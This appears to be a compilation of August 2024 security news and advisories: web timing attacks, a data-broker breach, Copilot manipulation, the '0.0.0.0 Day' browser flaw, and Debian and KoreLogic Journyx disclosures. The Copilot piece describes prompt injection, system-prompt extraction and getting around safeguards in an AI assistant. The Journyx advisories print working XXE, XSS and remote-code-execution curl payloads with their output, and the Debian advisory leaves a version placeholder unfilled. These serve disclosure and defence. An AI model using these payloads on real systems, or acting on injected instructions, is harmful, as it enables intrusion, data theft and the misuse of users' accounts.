New research shows how known techniques for finding weaknesses in websites are actually practical in uncovering vulnerabilities, for better or worse.

Researchers have long known that they can glean hidden information about the inner workings of a website by measuring the amount of time different requests take to be fulfilled and extrapolating information—and potential weaknesses—from slight variations. Such “web timing attacks” have been described for years, but they would often be too involved for real-world attackers to utilize in practice, even if they work in theory. At the Black Hat security conference in Las Vegas this week, though, one researcher warned that web timing attacks are actually feasible and ripe for exploitation.

James Kettle, director of research at the web application security company PortSwigger, developed a set of web timing attack techniques that can be used to expose three different categories of vulnerabilities in websites. He validated the methods using a test environment he made that compiled 30,000 real websites, all of which offer bug bounty programs. He says the goal of the work is to show that once someone has a conceptual grasp on the types of information web timing attacks can deliver, taking advantage of them becomes more feasible.

“I’ve always kind of avoided researching timing attacks because it’s a topic with a reputation,” Kettle says. “Everyone does research into it and says their research is practical, but no one ever seems to actually use timing attacks in real life, so how practical is it? What I’m hoping this work will do is show people that this stuff does actually work these days and get them thinking about it.”

Kettle was inspired in part by a 2020 research paper titled “Timeless Timing Attacks,” which worked toward a solution for a common issue. Known as “network jitter,” the paper's moniker refers to time delays between when a signal is sent and received on a network. These fluctuations impact timing measurements, but they are independent of the web server processing measured for timing attacks, so they can distort readings. The 2020 research, though, pointed out that when sending requests over the ubiquitous HTTP/2 network protocol, it is possible to put two requests into a single TCP communication packet so you know that both requests arrived at the server at the same time. Then, because of how HTTP/2 is designed, the responses will come back ordered so that the one that took less time to process is first and the one that took longer is second. This gives reliable, objective information about timing on the system without requiring any extra knowledge of the target web server—hence, “timeless timing attacks.”

Web timing attacks are part of a class of hacks known as “side channels,” in which the attacker gathers information about a target based on its real world, physical properties. In his new work, Kettle refined the “timeless timing attacks” technique for reducing network noise and also took steps to address similar types of issues with server-related noise so his measurements would be more accurate and reliable. He then started using timing attacks to look for otherwise invisible coding errors and flaws in websites that are usually difficult for developers or bad actors to find, but that are highlighted in the information that leaks with timing measurements.

In addition to using timing attacks to find hidden footholds to attack, Kettle also developed effective techniques for detecting two other common types of exploitable web bugs. One, known as a server-side injection vulnerability, allows an attacker to introduce malicious code to send commands and access data that shouldn't be available. And the other, called misconfigured reverse proxies, allows unintended access to a system.

In his presentation at Black Hat on Wednesday, Kettle demonstrated how he could use a web timing attack to uncover a misconfiguration and ultimately bypass a target web application firewall.

“Because you found this inverse proxy misconfiguration you just go around the firewall,” he told WIRED ahead of his talk. “It's absolutely trivial to execute once you’ve found these remote proxies, and timing attacks are good for finding these issues.”

Alongside his talk, Kettle released functionality for the open source vulnerability-scanning tool known as Param Miner. The tool is an extension for the popular web application security assessment platform Burp Suite, which is developed by Kettle's employer, PortSwigger. Kettle hopes to raise awareness about the utility of web timing attacks, but he also wants to make sure the techniques are being utilized for defense even when people don't grasp the underlying concepts.

“I integrated all these new features into Param Miner so people out there who don't know anything about this can run this tool and find some of these vulnerabilities,” Kettle says. “It’s showing people things that they would have otherwise missed.”

Tricky Web Timing Attacks Are Getting Easier to Use—and Abuse

Cybercriminals have leaked records from National Public Data, a data scraping service that provides background checks.

Cybercriminals are offering a large database for sale that may include your data without you even being aware of its existence.

The stolen data comes from a data scraping service trading under the name “scraping” which was allegedly breached by a cybercriminal group by the name of USDoD.

In April, a member of this group posted the database, which contains the data of some 2.9 billion people, up for sale for $3.5 million. Then, earlier this week, the 277 GB of data was offered for download for free on the notorious BreachForums by another member of the USDoD group.

USDoD member posted links to database

The database contains records that, among others, contain the fields:

*   First name
*   Last name
*   Middle name
*   Date of Birth
*   Address
*   City
*   County
*   State
*   Zip code
*   Phone number
*   Social Security Number

The publication of the data came a few days after a complaint was filed in the US District Court for the Southern District of Florida. The complaint against Jerico Pictures Inc, trading as National Public Data, accuses the defendant of failure to properly secure and safeguard the personally identifiable information (PII) that it collected as part of its regular business practices.

Jerico Pictures is a background check company that allows its customers to instantly search their database containing billions of records. The data in these records is scraped from non-public sources without knowledge or consent. A major problem with this is that the company has no ties with the victims, so most of them will have no idea that their data has been made public.

The plaintiff filed the complaint after they found out about the breach when an identity theft protection service notified him in July that their personal information had been compromised and leaked on the dark web.

This, while apparently some of the victims have already noticed the misuse of their Social Security Numbers.

One of the requests of the plaintiff is for the court to require National Public Data to purge the personal information of all the individuals affected and to encrypt all data collected going forward.

We have voiced our objections against data brokers in the past. The same is true for data scrapers like National Public Data, because, as we have seen, breaches at these data brokers can be combined with others and result in a veritable treasure trove of personal data ending up in the hands of cybercriminals. This database by itself qualifies as such a treasure trove and it is now available to every cybercriminal out there.

If you want to find out how much of your data has been exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Stolen data from scraping service National Public Data leaked online 

Attacks on Microsoft’s Copilot AI allow for answers to be manipulated, data extracted, and security protections bypassed, new research shows.

Microsoft raced to put generative AI at the heart of its systems. Ask a question about an upcoming meeting and the company’s Copilot AI system can pull answers from your emails, Teams chats, and files—a potential productivity boon. But these exact processes can also be abused by hackers.

Today at the Black Hat security conference in Las Vegas, researcher Michael Bargury is demonstrating five proof-of-concept ways that Copilot, which runs on its Microsoft 365 apps, such as Word, can be manipulated by malicious attackers, including using it to provide false references to files, exfiltrate some private data, and dodge Microsoft’s security protections.

One of the most alarming displays, arguably, is Bargury’s ability to turn the AI into an automatic spear-phishing machine. Dubbed LOLCopilot, the red-teaming code Bargury created can—crucially, once a hacker has access to someone’s work email—use Copilot to see who you email regularly, draft a message mimicking your writing style (including emoji use), and send a personalized blast that can include a malicious link or attached malware.

“I can do this with everyone you have ever spoken to, and I can send hundreds of emails on your behalf,” says Bargury, the cofounder and CTO of security company Zenity, who published his findings alongside videos showing how Copilot could be abused. “A hacker would spend days crafting the right email to get you to click on it, but they can generate hundreds of these emails in a few minutes.”

That demonstration, as with other attacks created by Bargury, broadly works by using the large language model (LLM) as designed: typing written questions to access data the AI can retrieve. However, it can produce malicious results by including additional data or instructions to perform certain actions. The research highlights some of the challenges of connecting AI systems to corporate data and what can happen when “untrusted” outside data is thrown into the mix—particularly when the AI answers with what could look like legitimate results.

Among the other attacks created by Bargury is a demonstration of how a hacker—who, again, must already have hijacked an email account—can gain access to sensitive information, such as people’s salaries, without triggering Microsoft’s protections for sensitive files. When asking for the data, Bargury’s prompt demands the system does not provide references to the files data is taken from. “A bit of bullying does help,” Bargury says.

In other instances, he shows how an attacker—who doesn’t have access to email accounts but poisons the AI’s database by sending it a malicious email—can manipulate answers about banking information to provide their own bank details. “Every time you give AI access to data, that is a way for an attacker to get in,” Bargury says.

Another demo shows how an external hacker could get some limited information about whether an upcoming company earnings call will be good or bad, while the final instance, Bargury says, turns Copilot into a “malicious insider” by providing users with links to phishing websites.

Phillip Misner, head of AI incident detection and response at Microsoft, says the company appreciates Bargury identifying the vulnerability and says it has been working with him to assess the findings. “The risks of post-compromise abuse of AI are similar to other post-compromise techniques,” Misner says. “Security prevention and monitoring across environments and identities help mitigate or stop such behaviors.”

As generative AI systems, such as OpenAI’s ChatGPT, Microsoft’s Copilot, and Google’s Gemini, have developed in the past two years, they’ve moved onto a trajectory where they may eventually be completing tasks for people, like booking meetings or online shopping. However, security researchers have consistently highlighted that allowing external data into AI systems, such as through emails or accessing content from websites, creates security risks through indirect prompt injection and poisoning attacks.

“I think it’s not that well understood how much more effective an attacker can actually become now,” says Johann Rehberger, a security researcher and red team director, who has extensively demonstrated security weaknesses in AI systems. “What we have to be worried \[about\] now is actually what is the LLM producing and sending out to the user.”

Bargury says Microsoft has put a lot of effort into protecting its Copilot system from prompt injection attacks, but he says he found ways to exploit it by unraveling how the system is built. This included extracting the internal system prompt, he says, and working out how it can access enterprise resources and the techniques it uses to do so. “You talk to Copilot and it’s a limited conversation, because Microsoft has put a lot of controls,” he says. “But once you use a few magic words, it opens up and you can do whatever you want.”

Rehberger broadly warns that some data issues are linked to the long-standing problem of companies allowing too many employees access to files and not properly setting access permissions across their organizations. “Now imagine you put Copilot on top of that problem,” Rehberger says. He says he has used AI systems to search for common passwords, such as Password123, and it has returned results from within companies.

Both Rehberger and Bargury say there needs to be more focus on monitoring what an AI produces and sends out to a user. “The risk is about how AI interacts with your environment, how it interacts with your data, how it performs operations on your behalf,” Bargury says. “You need to figure out what the AI agent does on a user's behalf. And does that make sense with what the user actually asked for.”

Microsoft’s AI Can Be Turned Into an Automated Phishing Machine

Attackers can use a seemingly innocuous IP address to exploit localhost APIs to conduct a range of malicious activity, including unauthorized access to user data and the delivery of malware.

Source: Tada Images via Shutterstock

Attackers can use a flaw that exploits the 0.0.0.0 IP address to remotely execute code on various Web browsers — Chrome, Safari, Firefox, and others — putting users at risk for data theft, malware, and other malicious activity.

Researchers at open source security firm Oligo Security have discovered a way to bypass browser security and interact with services running on an organization's local network from outside the network, that they are calling "0.0.0.0 Day," because of the Web address it exploits.

The vulnerability exists due to "the inconsistent implementation of security mechanisms across different browsers, along with a lack of standardization in the browser industry," Avi Lumesky, an Oligo AI security researcher, revealed in a blog post published this week.

Attackers can use the flaw to exploit localhost application programming interfaces (APIs) from the browser, thus performing a range of malicious activities.

"As a result, the seemingly innocuous IP address, 0.0.0.0, can become a powerful tool for attackers to exploit local services, including those used for development, operating systems, and even internal networks," Lumesky wrote.

**Breaking Down the Flaw**

The flaw lies in the ability by design of browsers for services to send a request to almost any HTTP server using JavaScript; a browser's key job is to focus on delivering the correct response, either by serving up a valid response to a request or an error.

While browsers are generally supposed to prevent errant or malicious requests from getting through via their responses, there has been a lack of streamlined security in handling requests across browsers since their inception.

"For a long time, it was not clear how browsers should behave when they make requests to local or internal networks from less-private contexts," Lumesky explained in the post.

While most browsers have relied on CORS, or Cross-Origin Resource Sharing — a standard defining a way for client Web applications that are loaded in one domain to interact with resources in a different domain — "its performance depends on the response content, so requests are still made and can still be sent," Lumesky noted.

"This is simply not good enough," he wrote. "History proved that a single HTTP request can attack a home router — and if that's all it takes, every user needs to be able to prevent this request from happening at all."

**PNA Bypass**

Chrome's introduction of Private Network Access (PNA) — which goes beyond CORS — should, in theory, protect websites from the 0.0.0.0 day bug. PNA proposes distinguishing between public, private, and local networks, ensuring that "pages loaded under a less-secure context will not be able to communicate with more-secure contexts," Lumesky wrote.

However, Oligo researchers discovered that website requests sent to 0.0.0.0, which should be blocked under PNA, were actually received and processed by local servers. "This means public websites can access any open port on your host without the ability to see the response," Lumesky wrote.

To prove their point, the attackers investigated how ShadowRay, a recent attack campaign its researchers discovered targeting AI workloads, could execute its attack from the browser using 0.0.0.0 as its attack vector.

ShadowRay enabled arbitrary code execution when a private server was unintentionally exposed to the Internet, and went undiscovered for nearly a year. To prove their concept, Oligo researchers ran a local Ray cluster on localhost, then started a socket that is listening to new connections to open a reverse shell.

"Then, the victim clicks on the link in the email, which runs the exploit," Lumesky explained. "The exploit opens a reverse shell for the attacker on the visitor’s machine."

The researchers proved the concept within Chromium, Safari, and Firefox to execute ShadowRay from the browser in "one of an undoubtedly huge number of remote code execution attacks enabled by this approach," Lumesky noted. They also proved the attack via Selenium Grid public servers and PyTorch TorchServe via respective previously identified attack campaigns SeleniumGreed and ShellTorch.

Ultimately, the researchers demonstrated how by using 0.0.0.0 together with mode "no-cors," attackers "can use public domains to attack services running on localhost and even gain arbitrary code execution, all using a single HTTP request," Lumeksy explained.

**How Defenders Can Mitigate Attacks**

Oligo disclosed the findings to the relevant browser owners — including Google, Apple, and Mozilla — which responded by making fixes in their browsers to block 0.0.0.0 as a target IP, according to Oligo.

Meanwhile, as the companies in charge work to streamline security standards across browser offerings, there are other technical mitigations that network administrators can use to thwart attacks using the vector, Lumesky said.

They include implementing PNA headers, verifying the HOST header of the network request to protect against DNS rebinding attacks to localhost or 127.0.0.1, and generally mistrusting localhost networks just because they are "local." "Add a minimal layer of authorization, even when running on localhost," he advised.

Network administrators should also use HTTPS over HTTP whenever possible and implement CSRF tokens in your applications, even if they are local.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

'0.0.0.0 Day' Flaw Puts Chrome, Firefox, Mozilla Browsers at RCE Risk

Debian Linux Security Advisory 5742-1 - A vulnerability was discovered in odoo, a suite of web based open source business apps. It could result in the execution of arbitrary code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5742-1                   security@debian.orghttps://www.debian.org/security/                       Sebastien DelafondAugust 08, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : odooCVE ID         : CVE-2024-4367Debian Bug     : 1074228A vulnerability was discovered in odoo, a suite of web based opensource business apps. It could result in the execution of arbitrarycode.For the oldstable distribution (bullseye), this problem has been fixedin version 14.0.0+dfsg.2-7+deb11u2.For the stable distribution (bookworm), this problem has been fixed inversion $bookworm_VERSION.We recommend that you upgrade your odoo packages.For the detailed security status of odoo please refer toits security tracker page at:https://security-tracker.debian.org/tracker/odooFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCgAdFiEEAqSkbVtrXP4xJMh3EL6Jg/PVnWQFAma0mLEACgkQEL6Jg/PVnWQKXgf+O9Wy7m7xU3IXmoUyhAvyeKoIEKP1jeTJ5GgFxAyOOJzuWFB9lgtF8o6GiA/TZReuabMq9jFH/Dn5eovF6lI4YpUGwThRTCBZRcGz6KiKdgZ6RiI5MRKsoHoVcn+5N2ecnJ+VFzz2jYzxcfD1Z3/KoiICVZscSbLlxi1ubNTMWQRP5n0YYJ9MxUm1YQY17+3heZdS6IRbxjS/KXJL3MxTQsmCHnoNMXs8+iKtstaFPpYhlc9NrQAIEUwQt4S1UpOZxcXcVtqiv1BkIvxswFytLTE/wTqxeSEzgBan8qelTCu1J+jo+woYzLdHTU3ag03HdiSsem+qdGBMmM9ldRbvGA===eMxY-----END PGP SIGNATURE-----

Debian Security Advisory 5742-1

Journyx version 11.5.4 has an issue where the soap_cgi.pyc API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.

KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection

Title: Journyx Unauthenticated XML External Entities Injection  
Advisory ID: KL-001-2024-010  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-611: Improper Restriction of XML External Entity  
                          Reference  
      CVE ID: CVE-2024-6893

2. Vulnerability Description

      The "soap_cgi.pyc" API handler allows the XML body of  
      SOAP requests to contain references to external entities.  
      This allows an unauthenticated attacker to read local files,  
      perform server-side request forgery, and overwhelm the web  
      server resources.

3. Technical Description

     From an unauthenticated perspective, a user can send an HTTP  
     request to the "/jtcgi/soap_cgi.pyc" endpoint.  The body of the  
     HTTP request is read and processed by the Journyx web server  
     as XML.

     To process these SOAP requests, the third-party component  
     "SOAPpy" is used. The built-in XML parser for "SOAPpy"  
     is "xml.sax". According to the "xml.sax" documentation  
     (https://docs.python.org/3/library/xml.sax.html), versions  
     before 3.7.1 enable XML external entities by default. Since  
     Journyx version 11.5.4 ships with python 3.6, the SOAP API  
     endpoint is vulnerable.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted versions of Journyx, external entity processing  
      can be disabled by editing the old bundled version of SOAPpy by  
      modifying the "Parser.py" file:

        --- Parser.py.orig      2018-11-27 17:26:53.000000000 -0500  
        +++ Parser.py   2024-06-18 10:56:01.993019226 -0400  
        @@ -1036,6 +1036,10 @@  
             # turn on namespace mangeling  
             parser.setFeature(xml.sax.handler.feature_namespaces, 1)

        +    # Disallow external entities, prevent XXE  
        + parser.setFeature(xml.sax.handler.feature_external_ges, 0)  
        + parser.setFeature(xml.sax.handler.feature_external_pes, 0)  
        +  
             try:  
                 parser.parse(inpsrc)  
             except xml.sax.SAXParseException as e:

      Additionally, if API access is not required, requests to  
      /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI  
      via a ModSecurity rule like the one below:

        SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The "changeUserPassword" SOAP method will reflect the  
     "username" parameter in the HTTP response if the given  
     username does not exist in the Journyx database. This  
     makes exploitation straight forward, as an external  
     entity can be used as the value of "username" and the  
     dynamic value of the entity is reflected in the page  
     response.

     [attacker@box]$ python xxe.py --host redacted.com --port 8080  
     root:x:0:0:root:/root:/bin/bash  
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \  
     curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM   
"'$PAYLOAD_TARGET'">]><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>'   
\  
     -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user   
/{flag=1;next}/<\/faultstring>/{flag=0}flag'

     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 XML Injection

Journyx version 11.5.4 suffers from a cross site scripting vulnerability due to mishandling of the error_description during an active directory login flow.

KL-001-2024-009: Journyx Reflected Cross Site Scripting

Title: Journyx Reflected Cross Site Scripting  
Advisory ID: KL-001-2024-009  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-81: Improper Neutralization of Script in an Error  
                          Message Web Page  
      CVE ID: CVE-2024-6892

2. Vulnerability Description

      Attackers can craft a malicious link that once clicked  
      will execute arbitrary JavaScript in the context of  
      the Journyx web application.

3. Technical Description

      During the active directory login flow, if an error  
      occurs, the user is redirected to a page containing  
      an error message outlining the problem. The error  
      message shown in the page response is derived from  
      the "error_description" query parameter that appears  
      in the URL. This parameter is not sanitized or validated  
      prior to being reflected, allowing for an attacker to  
      insert malicious HTML/JavaScript into the "error_description"  
      parameter.

      This vulnerability can be exploited regardless of whether  
      active directory authentication has been configured for the  
      Journyx instance.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will replace special characters with their respective HTML entity  
      representation for the "error" and "error_description" parameters. This  
      list of parameters can be extended as needed.

      Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso  
      could be dropped without forwarding invoking FastCGI via a ModSecurity  
      rule like the one below:

           SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following URL contains the "error_description"  
     parameter with a value of "%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E":

http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error

     This value is automatically URL decoded to "<svg/onload=prompt('KoreLogic')>"  
     and reflected into the page response:

         <div class="errorMessage">  
             Unable to complete sign-on attempt. This is possibly a configuration error in the application registration   
on the Identity Provider (IdP) side. The IdP server said:  
             <p>error <b><svg onload="prompt('KoreLogic')"></svg></b></p>  
         </div>

     Once this link is clicked or visited in a browser, the  
     javascript function "prompt()" is executed, and a display  
     box is presented, thereby validating the execution of  
     arbitrary JavaScript.

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Cross Site Scripting

Journyx version 11.5.4 has an issue where attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow.

KL-001-2024-008: Journyx Authenticated Remote Code Execution

Title: Journyx Authenticated Remote Code Execution  
Advisory ID: KL-001-2024-008  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-94: Improper Control of Generation of Code  
                          ('Code Injection'), CWE-95: Improper Neutralization  
                          of Directives in Dynamically Evaluated Code  
                          ('Eval Injection')  
      CVE ID: CVE-2024-6891

2. Vulnerability Description

      Attackers with a valid username and password can exploit  
      a python code injection vulnerability during the natural  
      login flow.

3. Technical Description

      When utilizing a username and password to authenticate to  
      Journyx via the web interface, an HTTP request is sent to  
      "wtlogin.pyc" containing the credentials. Upon a successful  
      login, the user is redirected to "wte.pyc" or the URL specified  
      in the "end_URL" body parameter if one is supplied.

      An additional condition is present, however. If the  
      "end_URL" value is over 1,000 characters, the value is instead  
      interpolated into a python "import" statement which is passed  
      into the "exec()" function, thereby executing arbitrary code.

      Code snippet from "wtlogin.pyc":

      finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)  
      if len(finalURL) < 1000:  
          raise genlib.HTTP302Found(finalURL)  
      else:  
          exec('import %s; %s.main()' % (end_URL, end_URL))

      The "params" variable is derived from the query parameters  
      included in the login request, so the size of "finalURL"  
      is trivial to inflate.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v12.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will force the "end_URL" parameter to always have a value of "wte".

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     By leveraging the existing "web" python module, it is possible  
     to see the output of shell commands as returned by "os.popen()".

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \  
                     curl -x http://localhost:8080 -X POST \  
                          -d   
"wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM"   
\  
                          -H 'Cookie: wtsession=foobar' \  
"http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"

     uid=1000(foo) gid=1000(foo)   
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)  
